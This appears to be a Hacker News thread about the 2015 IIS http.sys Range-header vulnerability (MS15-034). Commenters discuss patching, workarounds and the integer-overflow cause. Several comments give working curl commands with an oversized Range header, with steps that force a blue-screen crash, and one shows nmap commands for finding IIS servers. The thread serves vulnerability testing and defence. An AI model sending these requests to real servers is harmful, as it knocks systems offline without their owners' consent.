Remote Kernel Code Execution Via HTTP Request In IIS On Windows
ma.ttias.be
ma.ttias.be
EDIT : It is indeed related to "Output Cache" setting in IIS as I said I was suspecting in another comment. I managed to crash our servers by going to IIS Management, select the website I wanted to test, go to Output Caching, enable the feature AND also add a rule (I added a rule for .png just to test). If you have NO rules it is the same as having the feature disabled so you are safe. If you add a rule and check "Enable Kernal Caching" you are vulnerable!
EDIT 2 : As some have asked, this is the command I used to crash our test server. I tested it after having created a new Output Caching rule to cache all .png files in kernel mode.
curl -v http://example.com/image.png -H "Range: bytes=18-18446744073709551615"
I didn't take a screenshot of the BSOD and I don't plan on crashing our test env a second time today because people are using it (I tested it early enough that not a lot of people were at the office yet).
I read the microsoft security bulletin and it says that your IIS server is protected if Kernal Caching is off, maybe that's why our servers are neither blocking the request nor crashing with the request.
I created a rule to cache all .png files and I changed the curl request to request a .png image on the server. I got a BSOD!
curl -v http://example.com/image.png -H "Range: bytes=18-18446744073709551615"
(If you could take a screenshot/snapshot that'd be great.)
I'm really curious to see what bugcheck is being hit.
Edit:
Actually sometimes you get additional info:
One server (our development server) has proven vulnerable. Maybe reverse proxies are sanitizing the results?
$ curl -v 10.100.0.40/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"
* About to connect() to 10.100.0.40 port 80 (#0)
* Trying 10.100.0.40...
* Adding handle: conn: 0x1d83278
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x1d83278) send_pipe: 1, recv_pipe: 0
* Connected to 10.100.0.40 (10.100.0.40) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.30.0
> Accept: */*
> Host: irrelevant
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: text/html
< Last-Modified: Wed, 27 Aug 2014 14:56:23 GMT
< Accept-Ranges: bytes
< ETag: "885fe5117c2cf1:0"
* Server Microsoft-IIS/7.5 is not blacklisted
< Server: Microsoft-IIS/7.5Also my tests seem to indicate that just having kernel mode caching enabled even if you dont have any rules still seem to cause a BSOD.
EVEN WITH NO RULES, YOU ARE VULNERABLE! My previous answer has been proven to be wrong!
This is pretty wild.
The vulnerability allows execute code remotly under the Syetem account.
Am I wrong?
If you can't afford to reboot your servers right now to install the patch, at least you can add this to your web.config and deploy your websites ASAP :
<configuration> <system.webServer> <caching enableKernelCache="false"/> </system.webServer> </configuration>
EDIT:
It causes a config error when a lock violation occurs which means the site gets an error 500 so its not an ideal fix.
I installed the pending windows updates and after a restart the problem seems to be gone.
> Enable kernel caching to effectively scale and improve Web server performance. Cached responses are served from the kernel. This greatly improves response times and increases the number of requests per second that IIS can serve because requests for cached content never enter IIS user mode.
[1] https://technet.microsoft.com/en-us/library/cc731903(v=ws.10...
* I should cite this : https://technet.microsoft.com/library/security/ms15-034
See section Vulnerability Information > Workarounds
I don't have a MS server with IIS installed, but I would be very interested if the exploit check from the OP would be negative with kernel caching disabled. Anyone care to test this?
I think the title is downplaying the severity of the bug. It's a remote code execution vulnerability in http.sys which is a webserver component running inside the kernel (yea right, great idea!) so you can get remote root via HTTP request. The blog quotes this correctly but I get the feeling the author didn't communicate it properly.
Someone please adjust the title of this submission to something like "CVE-2015-1635: remote kernel code execution via HTTP request affecting Windows Server"
Plus if you have reservations created with HTTP.SYS, your app doesn't even have to be running. A friend tried turning off IIS, but port 80 would still respond.
The remote execution part is completely missing (fortunately), but I was wondering if this gives the admin rights on machine (I have absolutely no experience on Windows Server machines, so I don't know how it works in terms of services, permissions and roles).
The point is this is allowing code execution within the kernel of windows. It doesn't even reach the IIS userland process.
As far as I know, IIS is the only(bar embedded devices running a single address space OS and various ancient/obsolete toys servers on linux) used in production that handles part of HTTP in kernel space (or ring 0 if you will).
http://blogs.technet.com/b/askds/archive/2008/10/22/getting-...
(not as easy as earlier versions, but still)
But you would still expect an Administrator account to be able to load files onto the system, so obtaining the SYSTEM shell remains pretty easy.
The distinction between SYSTEM and Administrator was a convenience, and if I understood est correctly, it still is.
The heap spraying is the missing puzzle piece from the article.
Actually an idea shared among many OS, including GNU/Linux.
Just wanted to make the point it isn't a Windows specific idea.
I'm kind of surprised this issue wasn't discovered previously. Fortunately, there doesn't seem to be an exploit beyond crashing the server yet (which is bad enough). (sigh, kind of glad I'm in the process of migrating everything away from IIS).
That people actually use it is another topic.
It's still on track to becoming a second kernel.
That's what I thought, none (except maybe the author's blog? wild guess).
Nope, Ingo Mólnar uses Google+ for his occasional blogging (though the last post seems to be from 2013).
Thank you!
OpenSSL's heartbleed was incredibly hard to patch because of the sheer number of products that link to the OpenSSL libraries. It required painstaking effort to ensure everything was running the latest releases. And the severity of Heartbleed was such that all encrypted information could be deciphered.
Whereas this problem... is a simple server crash that can be fixed by running a Windows Update. Not even on the same scale of vulnerability.
I had no idea. Madness
They aren't the only ones who do this: https://www.freebsd.org/cgi/man.cgi?accf_http . All sorts of things are kernel-accelerated on modern operating systems, including lots of network operations. From that perspective, this is just one more and it could potentially have a huge benefit (like the same page served count on fewer hardware) for customers who need it.
Obviously it's critically important that MS get this right if they're going to offer it at all, but that's pretty much a tautology when talking about kernels and core OS functionality. Judge them on a bad implementation, not on any inherent badness in the idea.
The idea is completely different.
accf_http is... here, just read the source: https://github.com/freebsd/freebsd/blob/master/sys/netinet/a... – if it sees something that looks like an HTTP request and delays returning to userspace until \r\n\r\n.
http.sys is an actual HTTP/1.x parser. That runs in ring 0.
To be clear about http.sys, it's not what you would normally consider a 'web server'. It leaves things like 'serving files' and 'authentication' and stuff up to userland application processes like IIS. But it allows multiple userland applications to be routed HTTP requests directly, without an IPC dispatch.
Handling TCP/IP in the kernel requires substantially less complexity than handling HTTP/TCP/IP.
And even then, there are efforts (GNU Hurd, for instance) to push things like TCP out of the kernel level.
curl -v http://server-name/iis-85.png -H "Range: bytes=18-18446744073709551615"
Run the curl twice and the bluescreen happens the second time. If I don't request the image then it doesn't work.
I've not added any specific rules for output caching.
Edit: The crash screen is very dull:
Same conditions, must run request twice for the .png (with the IIS rule set)
Not like it matters, but I am toying with the first Range number.. (ie: 40-1884...615)
Edit: crash @ 40-1884, oh-shit-reboot at 100-1884
curl -v http://10.243.0.221/iis-85.png -I -H "Range: bytes=18-18446744073709551615"
(added -I), then it doesn't cause the crash.
Could you show the event log entry also?
I can also confirm it crashes my command window using curl via cygwin lol.
In a virtualized environment, I imagine blowing away any disks/volumes should be enough to recover from a potentially compromised system. That said, new Windows volumes (say, on EC2) should be created without inbound HTTP access, patched, and only then allowed to serve HTTP traffic.
if (inclusiveEnd + 1 > size) {
return ERR_INVALID;
}
HTTP ranges are inclusive, and most likely implemented here with unsigned 64 bit integers. My guess is the author converted to exclusive range, then compared with size, as a form of validation. It passes the check, because 18446744073709551615 + 1 results in wraparound to 0.The general solution is instead to use something like:
if (size < offset || start > size - offset) {
... // range violated
}
But you hardly ever see people do that.SYSTEM is higher than admin. Using IIS on windows is like running a webserver as root on linux.
I suspect such a patch would not get far, just as many ridiculed the TUX web server some fifteen years ago.
memset(&serv_addr, '0', sizeof(serv_addr));
That doesn't seem to be correct. The digit character 0 is not the same as the null character ('\0'). Just write 0 or use `struct sockaddr_in serv_addr = { 0 };`.http://en.m.wikipedia.org/wiki/Null_character http://www.bibase.com/images/ascii.gif
If the connect() fails, it will use file descriptor 1 which is usually stdout and write the request to it and try to read from it.
And there is a problem with strstr() not getting a null terminated string (if the stack memory for recvBuff wasn't automatically zero'd out which some compilers can do).
Why do these people bother writing the exploit in C? A curl one liner is good enough.
Also the check for 'The request has an invalid header name' seems dubious to me because a proxy in front would likely return a different error (the header name is not invalid but rather the range not satisfyable).
'0' == 48
All the script-kids need to do is find someone to help them, so I don't really think this helps anyone.
http://www.microsoft.com/technet/prodtechnol/WindowsServer20...
is that really the only way MS could make IIS fast enough?
Yeah... that does nasty things to these server's architecture... "Performance at all costs" eventually strays into taking down the barriers built to protect the system, but at the inevitable cost of slowing things down as things go through the barriers.
And a GUI stack (win32k.sys).
Use "curl -I whatever.com" to send a HEAD request and look at the headers in the response.
nmap -T5 -sV --version-all -p 80,443 www.google.com
Starting Nmap 6.00 ( http://nmap.org ) at 2015-04-16 03:02 CEST
Nmap scan report for www.google.com (80.202.12.244)
Host is up (0.0015s latency).
Other addresses for www.google.com (not scanned):
(...)
rDNS record for 80.202.12.244: cache.google.com
PORT STATE SERVICE VERSION
80/tcp open http Google httpd 2.0 (GFE)
443/tcp open ssl/http Google httpd 2.0 (GFE)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Apparently stackoverflow (well know user of .net stack) is "unknown", but microsoft.com gives: nmap -T5 -sV --version-all -p 80,443 microsoft.com
Starting Nmap 6.00 ( http://nmap.org ) at 2015-04-16 03:05 CEST
Nmap scan report for microsoft.com (134.170.188.221)
Host is up (0.18s latency).
Other addresses for microsoft.com (not scanned):
134.170.185.46
rDNS record for 134.170.188.221:
microsoftproductionstudios.org
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
443/tcp open ssl/http Microsoft IIS httpd 8.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
I didn't look to carefully at the so-output -- maybe there's a funky loadbalancer in front or something.https://msdn.microsoft.com/en-us/library/system.net.httplist...
HTTP.SYS is a clever idea as it allows the 80/443 ports to be used by multiple processes, as long as they register unique base URLs. What's not so clever about it is that despite rigorous testing and validation against its codebase, that something like this slipped through. Historically, HTTP.SYS has had a pretty good track record (against all the odds) until this week.
Just taking a guess here, but the code execution probably requires a POST request instead of GET. Nevertheless, it's still quite puzzling how something like this could occur.
Note: I have not tested this personally. Others here https://news.ycombinator.com/item?id=9380889 say they haven't been able to reproduce it.
Edit: apparently you need kernel caching of HTTP requests enabled, and at least one rule for caching, and the request has to satisfy that rule, in order to cause a crash.
I'm mentioning this because found I the Microsoft articles slightly unclear; they listed separate downloads for these updates and I wasn't sure if those updates were available via Windows Update or not.
However, it appears that running Windows Update is sufficient. I ran Windows Update on a 2008 R2 server running IIS. One of the updates it pulled down was "Security Update for Windows Server 2008 R2 x64 Edition (KB3042553) which is the KB article that references this vulnerability.
After Windows Update & a reboot, I used the curl snippet provided on the linked article to test my patched server. At this point it does not appear to be vulnerable to this issue.
http://en.wikipedia.org/wiki/Wheat_and_chessboard_problem
Edit: 2^64 - 1
I suggest: Long-range
Steps to reproduce.
Check server is vulnerable curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"
You should see a Error 416.
Force crash curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615" --and/or-- curl -v http://blah.com/images/blah.jpg -H "Range: bytes=40-18446744073709551615"
Note above: You have to specifically address a file AND use byte range 40 or 100 in my setup to make it bluescreen.
After Patching - Check Vulnerability curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"
Response: Error 400: The request has an invalid header name
After Patching - Force Crash Test
curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615"
Response: 206 Partial Content
Hope that helps.
Is Azure vulnerable?
It's a little unclear that this was patched as part of last night's Patch Tuesday.
https://gist.github.com/Zagrophyte/ea086087e6fd7ca579ef (Powershell)
https://gist.github.com/Zagrophyte/0fa7a8e2e507fac2b59d (C#)
HTTP Error 416. The requested range is not satisfiable.
to
HTTP Error 400. The request has an invalid header name.
At least for us. DHS/NSA already has them thanks to Microsoft's renewed commitment to share "cyber-threat" data with them (a.k.a zero-days).
Every major security company has them thanks to MAPP. I don't quite understand why people have such a problem with this program.
You also can't ignore that the most recent linux vulnerabilities were privately disclosed to major vendors weeks ahead of time, as well.